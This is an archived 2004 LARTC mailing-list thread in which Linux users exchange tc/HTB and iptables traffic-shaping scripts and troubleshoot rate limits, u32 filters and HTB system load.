Date: Wed, 06 Oct 2004 17:31:42 +0200
Subject: [LARTC] traffic conditioning in mobile ad hoc network
Message-ID: <41640FDE.8030608@netlab.nec.de>

Hello,

since LARTC handbook "only discuss case of ip protocol" I want to ask 
something about the u32 classifier and possible options about other 
protocols
(for example the position based routing protocol I use for the mobile ad 
hoc network :-)

I need is to install a filter which selects packets by specific code 
points in the header for a DiffServ like approach.
How to make LARTC u32 classifier work without ip protocol / with 
different protocol?

Any comment welcome.

Sincerely yours
Alexander




From tgraf@suug.ch  Wed Oct  6 16:48:51 2004
From: tgraf@suug.ch (Thomas Graf)
Date: Wed, 6 Oct 2004 17:48:51 +0200
Subject: [LARTC] traffic conditioning in mobile ad hoc network
In-Reply-To: <41640FDE.8030608@netlab.nec.de>
References: <41640FDE.8030608@netlab.nec.de>
Message-ID: <20041006154851.GB17986@postel.suug.ch>

> I need is to install a filter which selects packets by specific code 
> points in the header for a DiffServ like approach.
> How to make LARTC u32 classifier work without ip protocol / with 
> different protocol?

Set protocol to a valid ETH_P_* protocol number you want or "all" to match
all protocols. The generic offset definitions u(8|16|32) are not
dependant on any protocol.

u8 at 0 points to the first octet at the first payload header which
some people call layer 3. u16 at 2 would be a 16bit chunk starting
at the 3rd octet and so on.  u8 at nexthdr+0 is the first octet at the
next-header layer which some people call layer 4.  You can theortically
get to lower layers by specifying negative offsets.

From stef.coene@docum.org  Wed Oct  6 20:05:38 2004
From: stef.coene@docum.org (Stef Coene)
Date: Wed, 6 Oct 2004 21:05:38 +0200
Subject: [LARTC] What is the reccomended minimum rate for leaf htb class for accurate operation?
In-Reply-To: <4163A96E.5090607@metamorpher.de>
References: <20041006073827.5C1826CB7C7@mail.caucasus.net> <4163A96E.5090607@metamorpher.de>
Message-ID: <200410062105.38899.stef.coene@docum.org>

On Wednesday 06 October 2004 10:14, Andreas Klauer wrote:
> Zviad O. Giorgadze wrote:
> > # Class for GLOBAL traffic
> > tc class add dev eth0 parent 1:1 classid 1:20 htb rate 115kbit ceil 1mb=
it
>
> Does different rate / ceil for the root class make sense?
No.
Same for the classes attached to the root qdisc.  They can not share=20
bandwidth.  So your basi setup should be:
root htb qdisc
   htb class with ceil =3D rate =3D link bandwidth
      other classes

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From rwd@res.lt  Wed Oct  6 20:23:05 2004
From: rwd@res.lt (Arturas Lapiene)
Date: Wed, 6 Oct 2004 22:23:05 +0300
Subject: [LARTC] Huge system load using HTB
In-Reply-To: <4163ECBC.1050606@crocom.com.pl>
References: <4163ECBC.1050606@crocom.com.pl>
Message-ID: <20041006192305.GK3088@rwd.res.lt>

Hello,

On Wed, Oct 06, 2004 at 03:01:48PM +0200, Szymon Miotk wrote:
> Hi!
> 
> I have some problems with htb performance.
> 
> THE PROBLEM:
> When I load my rules the system load jumps to 100%.
> I was testing it and I am certain that HTB does the mess.
> The server with all iptables rules (including mangling) works well with 
> load about 3%.
> But just as I turn HTB on it starts to crawl.
> The chart can be found here:
> http://mtower.mlyniec.gda.pl/~spam/tst.png
> 
> It's fairly strong machine (P4 2.8 with HT, 1 GB RAM) and it worked with 
> that setup quite well for half a year (system load never exceeded 30-40%).
> 
> I guess I haven't noticed something or the kernel has the bug.

use 2.4.24 kernel, only in 2.4.25 and later kernels it is,
maybe it's a bug, maybe smth else ;-) It would be very nice if somebody
check this and explain ;-)

--
Arturas

From nix4me@cfl.rr.com  Wed Oct  6 22:51:33 2004
From: nix4me@cfl.rr.com (nix4me@cfl.rr.com)
Date: Wed, 06 Oct 2004 17:51:33 -0400
Subject: [LARTC] shape outbound ftp with 1 nic
Message-ID: <6f3b766f7a82.6f7a826f3b76@tampabay.rr.com>

Hi,

I am using the following script to limit my outbound traffic. This scipt runs on a box behind my firewall. It limits my outbound passive ftp traffic to 39K perfectly....just like i want. However, i just noticed that it is also limiting uploads coming to my server.

Is there something I can change to make it not limit uploads to my server?
#!/bin/bash
#shaping passive ftp traffic

# mark the outbound passive ftp packets on ports 50000-51000
iptables -t mangle -D POSTROUTING -o eth0 -j MYSHAPER-OUT 2> /dev/null > /dev/null
iptables -t mangle -F MYSHAPER-OUT 2> /dev/null > /dev/null
iptables -t mangle -X MYSHAPER-OUT 2> /dev/null > /dev/null

iptables -t mangle -N MYSHAPER-OUT
iptables -t mangle -I POSTROUTING -o eth0 -j MYSHAPER-OUT

iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 65437 -j MARK --set-mark 20
iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 50000:51000 -j MARK --set-mark 20
#iptables -t mangle -A MYSHAPER-OUT -p tcp --dport 50000:65437 -j MARK --set-mark 20
iptables -t mangle -A MYSHAPER-OUT -m mark --mark 0 -j MARK --set-mark 26
# clear it
tc qdisc del dev eth0 root

#add the root qdisk
tc qdisc add dev eth0 root handle 1: htb default 26

#add main rate limit class
tc class add dev eth0 parent 1: classid 1:1 htb rate 10000mbps

#add leaf classes
tc class add dev eth0 parent 1:1 classid 1:26 htb rate 10000mbps
tc class add dev eth0 parent 1:1 classid 1:20 htb rate 39kbps

#filter traffic into classes
tc filter add dev eth0 parent 1:0 prio 0 protocol ip handle 20 fw flowid 1:20
tc filter add dev eth0 parent 1:0 prio 0 protocol ip handle 26 fw flowid 1:26
 
Mark


From gypsy@iswest.com  Thu Oct  7 03:40:25 2004
From: gypsy@iswest.com (gypsy)
Date: Wed, 06 Oct 2004 19:40:25 -0700
Subject: [LARTC] Unknown qdisc "htb", hence option "default" is unparsable
References: <1775d24d04100608062632017d@mail.gmail.com>
Message-ID: <4164AC99.E4FDC9D8@iswest.com>

Marcelo Araujo wrote:
> 
> 
> This is "tc" in /sbin/
> -rwxr-xr-x    1 root     root       114716 Nov  3  2003 tc
> This is "tc" in htb3.6-020525.tgz
> -rwxrwxr-x    1 root     root       101992 May 12  2002 tc
> 
> The "tc" from the tarball is small compare to the system, so my question is,
> can i use the tc from the tarball without any know issue? may i update my
> kernel? what version are sure to work?

The tc you got from the tarball has been stripped of the debug info.  It
is 100% functional and fine.

Unless you encounter problems, your kernel should be fine too.

gypsy

From Ow.Mun.Heng@wdc.com  Thu Oct  7 03:54:43 2004
From: Ow.Mun.Heng@wdc.com (Ow Mun Heng)
Date: Thu, 07 Oct 2004 10:54:43 +0800
Subject: [LARTC] shape outbound ftp with 1 nic
In-Reply-To: <6f3b766f7a82.6f7a826f3b76@tampabay.rr.com>
References: <6f3b766f7a82.6f7a826f3b76@tampabay.rr.com>
Message-ID: <1097117683.24592.27.camel@neuromancer.home.net>

On Thu, 2004-10-07 at 05:51, nix4me@cfl.rr.com wrote:
> Is there something I can change to make it not limit uploads to my server?

Theory is.. You can only shape outbound traffic.
Inbound is via tcp windowshaping etc..

> # mark the outbound passive ftp packets on ports 50000-51000

> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 65437 -j MARK --set-mark 20
> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 50000:51000 -j MARK --set-mark 20
> #iptables -t mangle -A MYSHAPER-OUT -p tcp --dport 50000:65437 -j MARK --set-mark 20
> iptables -t mangle -A MYSHAPER-OUT -m mark --mark 0 -j MARK --set-mark 26

The way I read this is.. anything that has a source port of 50000-51000
and a destination port of 50000 - 65437 will be marked as handle 20

Why do you care about destination port? 
AFAIK, it shouldn't affect your wants since you're not filtering on
incoming traffic
> #add leaf classes
> tc class add dev eth0 parent 1:1 classid 1:26 htb rate 10000mbps
Is this legal?? 10000mbps?? Wow.. 10000*1E6?

> tc class add dev eth0 parent 1:1 classid 1:20 htb rate 39kbps
> 
> #filter traffic into classes
> tc filter add dev eth0 parent 1:0 prio 0 protocol ip handle 20 fw flowid 1:20
> tc filter add dev eth0 parent 1:0 prio 0 protocol ip handle 26 fw flowid 1:26


-- 
Ow Mun Heng
Fedora GNU/Linux Core 2 on D600 1.4Ghz CPU kernel
2.6.7-2.jul1-interactive 
Neuromancer 10:50:12 up 1:29, 5 users, load average: 0.23, 0.42, 0.51 

From alex@samad.com.au  Thu Oct  7 04:50:13 2004
From: alex@samad.com.au (Alexander Samad)
Date: Thu, 7 Oct 2004 13:50:13 +1000
Subject: [LARTC] Prioritizing forwarded traffic over locally generated traffic
In-Reply-To: <20040924165553.BBRU2251.mta06-svc.ntlworld.com@slartibartfast>
References: <4153B22E.1020205@kraquen.com> <20040924165553.BBRU2251.mta06-svc.ntlworld.com@slartibartfast>
Message-ID: <20041007035013.GA25330@samad.com.au>

--BRlT41kksaj93b4P
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hi

would it be possible to post the scripts that set this up ???

Alex

On Fri, Sep 24, 2004 at 05:55:36PM +0100, Neil Greatorex wrote:
> Many thanks to both of you for your replies.
>=20
> I have managed to get the setup working how I intended now - by using HTB
> classes/qdiscs. I had tried this approach before as one of many, however
> what I had failed to do was create the two classes I am filtering the
> traffic into as subclasses of a parent HTB class that was limited to the
> rate of the connection. Now it works as I intended!
>=20
> I'm now going to tackle the harder problem of doing it for downloading - =
I'm
> off to play with IMQ :-)
>=20
> Again, many thanks for your suggestions/advice!
>=20
> Cheers,
> Neil
>=20
> --
> #include "sig.h"
> #define NAME    "Neil Greatorex"
> #define E-MAIL  "neil@fatboyfat.co.uk"=20
>=20
> http://www.spreadfirefox.com/?q=3Daffiliates&id=3D7889&t=3D58
>=20
> =20
>=20
> > -----Original Message-----
> > From: lartc-admin@mailman.ds9a.nl=20
> > [mailto:lartc-admin@mailman.ds9a.nl] On Behalf Of kraquen
> > Sent: 24 September 2004 6:36 AM
> > To: jasonb@edseek.com
> > Cc: lartc@mailman.ds9a.nl
> > Subject: Re: [LARTC] Prioritizing forwarded traffic over=20
> > locally generated traffic
> >=20
> > Sounds to me like he's trying to match via source IP.. which=20
> > would catch=20
> > everything just fine..
> >=20
> > Niel,
> > I do something very similar, its fairly simple..
> >=20
> > you want to mark packets in your prerouting, then match=20
> > against them in=20
> > your qdiscs..
> >=20
> > i use an htb.. my upload link can handle about 85 kilobytes / sec.
> >=20
> > I have several classes that match with various rates, the cieling for=
=20
> > all of them is ~80
> >=20
> > Then i have a class that matches the mark that i use for that=20
> > specific IP.
> >=20
> > That mark goes into a class with a rate of 2 KB/s and a cieling of 75
> >=20
> > that class gets 75 when nothing else is running, and 2 if=20
> > other classes=20
> > are filling it up.
> >=20
> > Hope this helps,
> > Jason
> > Jason Boxman wrote:
> >=20
> > >On Thursday 23 September 2004 18:09, Neil Greatorex wrote:
> > > =20
> > >
> > >>Hi,
> > >>
> > >>I'm a complete newbie at this traffic shaping / QoS stuff=20
> > so please excuse
> > >>me if this is a silly question. I've searched and searched=20
> > on Google and I
> > >>just end up confusing myself even more, so I thought I'd=20
> > post my question
> > >>to this list and see whether someone can help me!
> > >>   =20
> > >>
> > >
> > >Sure.
> > >
> > > =20
> > >
> > >>Basically, I am running a Linux box as a NAT router on my=20
> > home network
> > >>(machine name marvin). I want to use mldonkey on the router=20
> > box for P2P
> > >>downloads. What I wish to do, is to have any traffic that=20
> > originates on the
> > >>internal LAN take priority over traffic that is generated=20
> > from mldonkey on
> > >>marvin. I don't wish to restrict the maximum bandwidth for the P2P
> > >>downloads on a permanent basis if I can help it - so that=20
> > all the bandwidth
> > >>is used all of the time.
> > >>   =20
> > >>
> > >
> > >So you'd like to classify p2p traffic from mldonkey=20
> > (Overnet/Kad/eDonkey) such=20
> > >that it is granted a lower priority than other traffic?  Not=20
> > a problem. =20
> > >However, because those three protocols use random ports, you=20
> > cannot classify=20
> > >'edonkey' traffic based on port.  You can use either ipp2p=20
> > or L7-Filter to=20
> > >match these flows based on layer 7 pattern matching, though.
> > >
> > > =20
> > >
> > >>My plan was to use the PREROUTING and OUTPUT chains of the=20
> > mangle table to
> > >>mark the packets, and then use some form of qdisc/class=20
> > structure that will
> > >>prioritise one over the other.
> > >>   =20
> > >>
> > >
> > >I believe you can use the POSTROUTING chain of the mangle=20
> > table and nab all=20
> > >traffic.  L7-Filter has a nice graphic[1] available.
> > >
> > >[1] http://l7-filter.sourceforge.net/PacketFlow.png
> > >
> > > =20
> > >
> > >>The aim of this is to have an upload that would normally take say 20
> > >>seconds from a machine on the LAN still take 20 seconds=20
> > when mldonkey is
> > >>uploading - so the NAT traffic will take all the bandwidth away from
> > >>mldonkey. The closer to this aim I can get the better!
> > >>   =20
> > >>
> > >
> > >That makes sense, although the time interval is relative to=20
> > the data size and=20
> > >protocol being used, so it isn't a useful measure for the=20
> > rest of us.  What's=20
> > >the link size?  What's the file / data size?
> > >
> > > =20
> > >
> > >>To test implementations, I am using SFTP to upload a file=20
> > from both a
> > >>machine on my internal network (named slartibartfast), and=20
> > marvin (the
> > >>router machine) simultaneously. The perfect behaviour would=20
> > be for the
> > >>upload on slartibartfast to take 20 seconds, and the upload=20
> > on marvin to
> > >>take 40.
> > >>   =20
> > >>
> > >
> > >Which implementations have you tried to use?  I'd imagine=20
> > Wondershaper? =20
> > >Others?
> > >
> > > =20
> > >
> > >>I have tried various setups of qdiscs and classes, using=20
> > various examples
> > >>from all over the web (including the LARTC FAQ/cookbook)=20
> > but I haven't been
> > >>able to get anywhere near my aim. All of the attempts I've=20
> > made have led to
> > >>both uploads taking near enough 40 seconds, as they are=20
> > both running at 50%
> > >>of the available bandwidth. I would like it to give almost all the
> > >>bandwidth to slartibartfast for the first 20 seconds, and=20
> > then all the
> > >>bandwidth to marvin for the remaining time.
> > >>   =20
> > >>
> > >
> > >The problem is likely that you cannot effectively match p2p=20
> > flows that use the=20
> > >'edonkey' protocols.  (Actually, the latest L7-Filter=20
> > pattern matches do not=20
> > >yet match eMule's new Kad network, so you'll still need to=20
> > either disable=20
> > >support for that in mldonkey or deal with latency issues that arise.)
> > >
> > > =20
> > >
> > >>I would really appreciate it if someone could tell me whether:
> > >>a) This setup is actually possible!
> > >>   =20
> > >>
> > >
> > >Absolutely!
> > >
> > > =20
> > >
> > >>b) If using the mangle table chains is correct for this
> > >>   =20
> > >>
> > >
> > >I believe so.
> > >
> > > =20
> > >
> > >>c) If it is, the easiest/best/fastest way to implement it.=20
> > Just some hints
> > >>for the right direction would be fine!
> > >>   =20
> > >>
> > >
> > >You might explore my guide[2].  I have a setup quite similar=20
> > to the one you=20
> > >wish to implement, except on my router does not generate any=20
> > traffic.  (I=20
> > >have mldonkey running on an internal machine instead.)
> > >
> > >[2] http://trekweb.com/~jasonb/articles/traffic_shaping/
> > >
> > > =20
> > >
> > >>Many thanks in advance,
> > >>Neil Greatorex
> > >>
> > >>   =20
> > >>
> > >
> > >_______________________________________________
> > >LARTC mailing list / LARTC@mailman.ds9a.nl
> > >http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO:=20
> > http://lartc.org/
> > > =20
> > >
> >=20
> > _______________________________________________
> > LARTC mailing list / LARTC@mailman.ds9a.nl
> > http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
> >=20
>=20
>=20
>=20
> _______________________________________________
> LARTC mailing list / LARTC@mailman.ds9a.nl
> http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/
>=20

--BRlT41kksaj93b4P
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFBZLz1kZz88chpJ2MRAmgFAKDNv3mB+jrngN4SxLhQxF5r27VO6QCcDAi4
cezmv627EEzL3ZR5azxnWXQ=
=Rx31
-----END PGP SIGNATURE-----

--BRlT41kksaj93b4P--

From zgiorgadze@gol.ge  Thu Oct  7 08:52:57 2004
From: zgiorgadze@gol.ge (Zviad O. Giorgadze)
Date: Thu, 7 Oct 2004 10:52:57 +0300
Subject: [LARTC] What is the reccomended minimum rate for leaf htb class foraccurate operation?
Message-ID: <20041007065259.1DEC56CB789@mail.caucasus.net>

>"Zviad O. Giorgadze" wrote:
>> # Put flow to corresponding classes
>> tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.1 flowid 1:21
>> tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.2 flowid 1:22
>> tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.3 flowid 1:23
>> tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.4 flowid 1:24
>> tc filter add dev eth0 protocol ip parent 1: u32 match ip dst 192.168.0.5 flowid 1:25
>
>If you are NATting, there is no 192.168.0.anything because the address
>has been NATted.

But checking via "tc -s -d class show dev eth0" shows that filter correctly recognizes packets and pust it into appropriate class.
NAT is performed before the eth0.

Zviad





From zgiorgadze@gol.ge  Thu Oct  7 09:01:50 2004
From: zgiorgadze@gol.ge (Zviad O. Giorgadze)
Date: Thu, 7 Oct 2004 11:1:50 +0300
Subject: [LARTC] What is the reccomended minimum rate for leaf htb class for accurate operation?
Message-ID: <20041007070151.C90A16CB7B4@mail.caucasus.net>

>> Does different rate / ceil for the root class make sense?
>No.
>Same for the classes attached to the root qdisc.  They can not share 
>bandwidth.  So your basi setup should be:
>root htb qdisc
>   htb class with ceil = rate = link bandwidth
>      other classes

So following script is reccomended?
 
tc qdisc add dev eth0 root handle 1: htb default 11 r2q 10

# Class corresponding external interface throughput (for 115kbit ADSL)
tc class add dev eth0 parent 1: classid 1:1 htb rate 115kbit ceil 115kbit

# Classes for PC-s
tc class add dev eth0 parent 1:1 classid 1:11 htb rate 55kbit ceil 115kbit prio 2
tc class add dev eth0 parent 1:1 classid 1:12 htb rate 48kbit ceil 115kbit prio 3
tc class add dev eth0 parent 1:1 classid 1:13 htb rate 12kbit ceil 115kbit prio 4
#End if script

What can I do if the same interface (eth0) is used for other purposes (internal traffic generated from local servers)?
If HTB class has the highest ceil set to 115kbit, how can I define other classes for example for internal traffic?

Zviad



From mjoachimiak@poczta.onet.pl  Thu Oct  7 08:53:09 2004
From: mjoachimiak@poczta.onet.pl (mjoachimiak@poczta.onet.pl)
Date: Thu, 7 Oct 2004 09:53:09 +0200
Subject: [LARTC] What is the reccomended minimum rate for leaf htb classfor accurate operation?
References: <20041006082450.07AE36CB4E1@mail.caucasus.net> <4163C242.7040704@metamorpher.de> <004e01c4ab92$ed333eb0$0802a8c0@monster> <4163D074.4000402@metamorpher.de>
Message-ID: <001e01c4ac42$b70566a0$0802a8c0@monster>


> mjoachimiak@poczta.onet.pl wrote:
> > Your gues is right. To get HTB work correctly you must know rate
parameter
> > for your connection also known as CIR.
> > Coud you tell what minimum rate your clients have?
>
> My worst HTB class has rate&ceil 778bps.
>
> I guess the lower the rate, the less accurate the result. It can't be
> accurate, because the class already exceeds it's limit by sending just
> one single packet.
I agree. As far as I know average MTU is 1500bytes. I have rate
13kbit/8=1625bytes so the limit should not be reached. Maybe there is
overhead on ppp link and with this overhead clients gets congested?
What do you think?
Any ideas?
> Maybe it's more accurate in the long run, but I don't have any
> statistics to prove that. Anyway, the traffic for that class is damn
> slow, and that's all I need to know. ;-)
>
> Andreas
>


From Alexander.Eigl@netlab.nec.de  Thu Oct  7 09:14:45 2004
From: Alexander.Eigl@netlab.nec.de (Alexander Eigl)
Date: Thu, 07 Oct 2004 10:14:45 +0200
Subject: [LARTC] guidelines for queue lenght
Message-ID: <4164FAF5.40704@netlab.nec.de>

Hello,

does anybody have suggestions for queue lenght guidelines?
Is there a paper somewhere or any thoughts that have to be reconsidered.

Suggestions and impulses welcome

Alexander


From andy.furniss@dsl.pipex.com  Thu Oct  7 14:33:56 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Thu, 07 Oct 2004 14:33:56 +0100
Subject: [LARTC] Huge system load using HTB
In-Reply-To: <4163ECBC.1050606@crocom.com.pl>
References: <4163ECBC.1050606@crocom.com.pl>
Message-ID: <416545C4.5060908@dsl.pipex.com>

Szymon Miotk wrote:
> Hi!
> 
> I have some problems with htb performance.
> 
> THE SETUP:
> I have a network with 3 ISP uplinks and 1 local network uplink.
> There are about 1700 clients.
> I was shaping their bandwidth with HTB using iptables mangling in a manner:
> 
> tc class add dev $DEV parent 1:10 classid 1:${CLASS_ID} htb rate \
>     16kbit ceil 512kbit burst 2kb prio 2 quantum 1500
> tc qdisc add dev $DEV parent 1:${CLASS_ID} handle ${CLASS_ID}: \
>     sfq perturb 10
> tc filter add dev $DEV parent 1: protocol ip prio 17 u32 \
>     match ip dst "$IP" flowid 1:${CLASS_ID}
> iptables -A "$CHAIN_NAME" -t mangle -s "$IP" -j MARK --set-mark $CLASS_ID
> 
> I use iptables subchains, so that every chains contains 32 entries.
> 
> I have recently upgraded from RedHat 9.0 to Fedora Core 2. I cannot turn 
> back to RH9, because I had other problems with that.
> I use kernel 2.6.8-1.521 (the problem was the same with original 
> kernel). I didn't recompile it.
> 
> THE PROBLEM:
> When I load my rules the system load jumps to 100%.
> I was testing it and I am certain that HTB does the mess.
> The server with all iptables rules (including mangling) works well with 
> load about 3%.
> But just as I turn HTB on it starts to crawl.
> The chart can be found here:
> http://mtower.mlyniec.gda.pl/~spam/tst.png
> 
> It's fairly strong machine (P4 2.8 with HT, 1 GB RAM) and it worked with 
> that setup quite well for half a year (system load never exceeded 30-40%).
> 
> I guess I haven't noticed something or the kernel has the bug.
> 
> Anybody clues?

I had to patch 2.6.8.1 to get it working .

http://www.linuxhq.com/kernel/v2.6/9-rc2/net/sched/sch_api.c

Andy.




From andy.furniss@dsl.pipex.com  Thu Oct  7 15:29:27 2004
From: andy.furniss@dsl.pipex.com (Andy Furniss)
Date: Thu, 07 Oct 2004 15:29:27 +0100
Subject: [LARTC] What is the reccomended minimum rate for leaf htb classfor
 accurate operation?
In-Reply-To: <001e01c4ac42$b70566a0$0802a8c0@monster>
References: <20041006082450.07AE36CB4E1@mail.caucasus.net> <4163C242.7040704@metamorpher.de> <004e01c4ab92$ed333eb0$0802a8c0@monster> <4163D074.4000402@metamorpher.de> <001e01c4ac42$b70566a0$0802a8c0@monster>
Message-ID: <416552C7.5020802@dsl.pipex.com>

mjoachimiak@poczta.onet.pl wrote:
> 
>>mjoachimiak@poczta.onet.pl wrote:
>>
>>>Your gues is right. To get HTB work correctly you must know rate
> 
> parameter
> 
>>>for your connection also known as CIR.
>>>Coud you tell what minimum rate your clients have?
>>
>>My worst HTB class has rate&ceil 778bps.
>>
>>I guess the lower the rate, the less accurate the result. It can't be
>>accurate, because the class already exceeds it's limit by sending just
>>one single packet.
> 
> I agree. As far as I know average MTU is 1500bytes. I have rate
> 13kbit/8=1625bytes so the limit should not be reached. Maybe there is
> overhead on ppp link and with this overhead clients gets congested?
> What do you think?
> Any ideas?

Low rates seem OK for me. I don't think relating packet size to rate in 
kbit/sec is the right way to think about things.

A  class with a low rate will send a packet and then not be able to send 
again for an amount of time which is (pre)calculated from packet size 
and rate. The time may be > 1 second, so things work out in the end.


Andy.



> 
>>Maybe it's more accurate in the long run, but I don't have any
>>statistics to prove that. Anyway, the traffic for that class is damn
>>slow, and that's all I need to know. ;-)
>>
>>Andreas



From nix4me@cfl.rr.com  Thu Oct  7 23:15:10 2004
From: nix4me@cfl.rr.com (nix4me@cfl.rr.com)
Date: Thu, 07 Oct 2004 18:15:10 -0400
Subject: [LARTC] shaping outbound ftp traffic on 1 nic not working properly
Message-ID: <7132b970e878.70e8787132b9@tampabay.rr.com>

>Theory is.. You can only shape outbound traffic.
Inbound is via tcp windowshaping etc..

In theory yes, but it is shaping inbound transfers to my server.

>> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 65437 -j MARK --set-mark 20
>> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 50000:51000 -j MARK --set-mark 20
>> iptables -t mangle -A MYSHAPER-OUT -m mark --mark 0 -j MARK --set-mark 26

>Why do you care about destination port? 
>AFAIK, it shouldn't affect your wants since you're >not filtering on
>incoming traffic

I dont care about destination port.  That line was commented.  BUT, incoming transfers are being shaped for some reason.

>Is this legal?? 10000mbps?? Wow.. 10000*1E6?

I just did that to make sure lan traffic was not affected at all.

 
enire script for reference....
I am using the following script to limit my outbound traffic. This scipt runs on a box behind my firewall. It limits my outbound passive ftp traffic to 39K perfectly....just like i want. However, i just noticed that it is also limiting uploads coming to my server.

Is there something I can change to make it not limit uploads to my server?
#!/bin/bash
#shaping passive ftp traffic

# mark the outbound passive ftp packets on ports 50000-51000
iptables -t mangle -D POSTROUTING -o eth0 -j MYSHAPER-OUT 2> /dev/null > /dev/null
iptables -t mangle -F MYSHAPER-OUT 2> /dev/null > /dev/null
iptables -t mangle -X MYSHAPER-OUT 2> /dev/null > /dev/null

iptables -t mangle -N MYSHAPER-OUT
iptables -t mangle -I POSTROUTING -o eth0 -j MYSHAPER-OUT

iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 65437 -j MARK --set-mark 20
iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 50000:51000 -j MARK --set-mark 20
iptables -t mangle -A MYSHAPER-OUT -m mark --mark 0 -j MARK --set-mark 26
# clear it
tc qdisc del dev eth0 root

#add the root qdisk
tc qdisc add dev eth0 root handle 1: htb default 26

#add main rate limit class
tc class add dev eth0 parent 1: classid 1:1 htb rate 10000mbps

#add leaf classes
tc class add dev eth0 parent 1:1 classid 1:26 htb rate 10000mbps
tc class add dev eth0 parent 1:1 classid 1:20 htb rate 39kbps

#filter traffic into classes
tc filter add dev eth0 parent 1:0 prio 0 protocol ip handle 20 fw flowid 1:20
tc filter add dev eth0 parent 1:0 prio 0 protocol ip handle 26 fw flowid 1:26





From drinklinux@yahoo.com  Fri Oct  8 02:40:07 2004
From: drinklinux@yahoo.com (Drink Linux)
Date: Thu, 7 Oct 2004 18:40:07 -0700 (PDT)
Subject: [LARTC] HTB weird problem ....
Message-ID: <20041008014007.4421.qmail@web50305.mail.yahoo.com>

Hello good day to all ... this is my setup
1 Linux Wireless Access Point, connected are 4
wireless gateway in which i needed to apply shaping
...
ok here is the weird part... clients on each gateway
download files from the Acess Point ... a 500 mb file
through ftp

on gateway 1 which is up to 64 kbps ... the result is
from 60-64 kbps speed which is fine ...

on gateway 2 which is 128 kbps ... the result is
varying from 130 - 132 kbps (why does it exceed)? but
it is acceptable nevertheless

on gateway 3 which is up to 256 kbps ... the result is
the lowest rate clients can get is up to 285-286 above
limit ?!?!! why did that happen...

on gateway 4 .. which is up to 512 kbps ... the rate
of the client is up to 600+ kbps ... why is that so ?!

anyway here is my script for anyone who can help
...thanks

one thing is when i ftp 2 files ... the speed is
higher than the ceiling limit ....

kernel is 2.4.22 ... with QoS enabled ....




tc qdisc add dev wlan0 root handle 1:0 htb

tc class add dev wlan0 parent 1:0 classid 1:1 htb rate
1024kbps ceil 1024kbps 

tc class add dev wlan0 parent 1:1 classid 1:10 htb
rate 1kbps ceil 64kbps  
tc class add dev wlan0 parent 1:1 classid 1:20 htb
rate 1kbps ceil 128kbps
tc class add dev wlan0 parent 1:1 classid 1:30 htb
rate 1kbps ceil 256kbps
tc class add dev wlan0 parent 1:1 classid 1:40 htb
rate 1kbps ceil 512kbps


tc filter add dev wlan0 parent 1:0 protocol ip u32
match ip dst 10.40.40.245 flowid 1:10
tc filter add dev wlan0 parent 1:0 protocol ip u32
match ip dst 10.40.40.246 flowid 1:20
tc filter add dev wlan0 parent 1:0 protocol ip u32
match ip dst 10.40.40.247 flowid 1:30
tc filter add dev wlan0 parent 1:0 protocol ip u32
match ip dst 10.40.40.248 flowid 1:40

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From Ow.Mun.Heng@wdc.com  Fri Oct  8 07:00:26 2004
From: Ow.Mun.Heng@wdc.com (Ow Mun Heng)
Date: Fri, 08 Oct 2004 14:00:26 +0800
Subject: [LARTC] Re: shaping outbound ftp traffic on 1 nic not working properly
In-Reply-To: <7132b970e878.70e8787132b9@tampabay.rr.com>
References: <7132b970e878.70e8787132b9@tampabay.rr.com>
Message-ID: <1097215226.17507.273.camel@neuromancer.home.net>

On Fri, 2004-10-08 at 06:15, nix4me@cfl.rr.com wrote:
> >Theory is.. You can only shape outbound traffic.
> Inbound is via tcp windowshaping etc..
In Linux or LARTC IIRC, it's called ingress filtering. There's also
GRED/RED etc.. but based on what I've read, it's all about dropping
packets.

TCP windowshaping, although it's built into TCP architecthure, and There
is a /proc entry for it, I still don't see it's affects. (or rather, I
don't know how to measure it)

> 
> In theory yes, but it is shaping inbound transfers to my server.
YOu're not doing any other sort of Ingress filters are you??


> >> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 65437 -j MARK --set-mark 20
> >> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 50000:51000 -j MARK --set-mark 20
> >> iptables -t mangle -A MYSHAPER-OUT -m mark --mark 0 -j MARK --set-mark 26
> 
> >Why do you care about destination port? 
> >AFAIK, it shouldn't affect your wants since you're >not filtering on
> >incoming traffic
> 
> I dont care about destination port.  That line was commented.  BUT, incoming transfers are being shaped for some reason.
Could this be shaping on the ISP side?? What happens when the tc rules
are shut off??

> Is there something I can change to make it not limit uploads to my server?
> #!/bin/bash
> #shaping passive ftp traffic
> 
> # mark the outbound passive ftp packets on ports 50000-51000
> iptables -t mangle -D POSTROUTING -o eth0 -j MYSHAPER-OUT 2> /dev/null > /dev/null
> iptables -t mangle -F MYSHAPER-OUT 2> /dev/null > /dev/null
> iptables -t mangle -X MYSHAPER-OUT 2> /dev/null > /dev/null
> 
> iptables -t mangle -N MYSHAPER-OUT
> iptables -t mangle -I POSTROUTING -o eth0 -j MYSHAPER-OUT
> 
> iptables -t mangle -A MYSHAPER-OUT -p tcp --sport 65437 -j MARK --set-mark 20
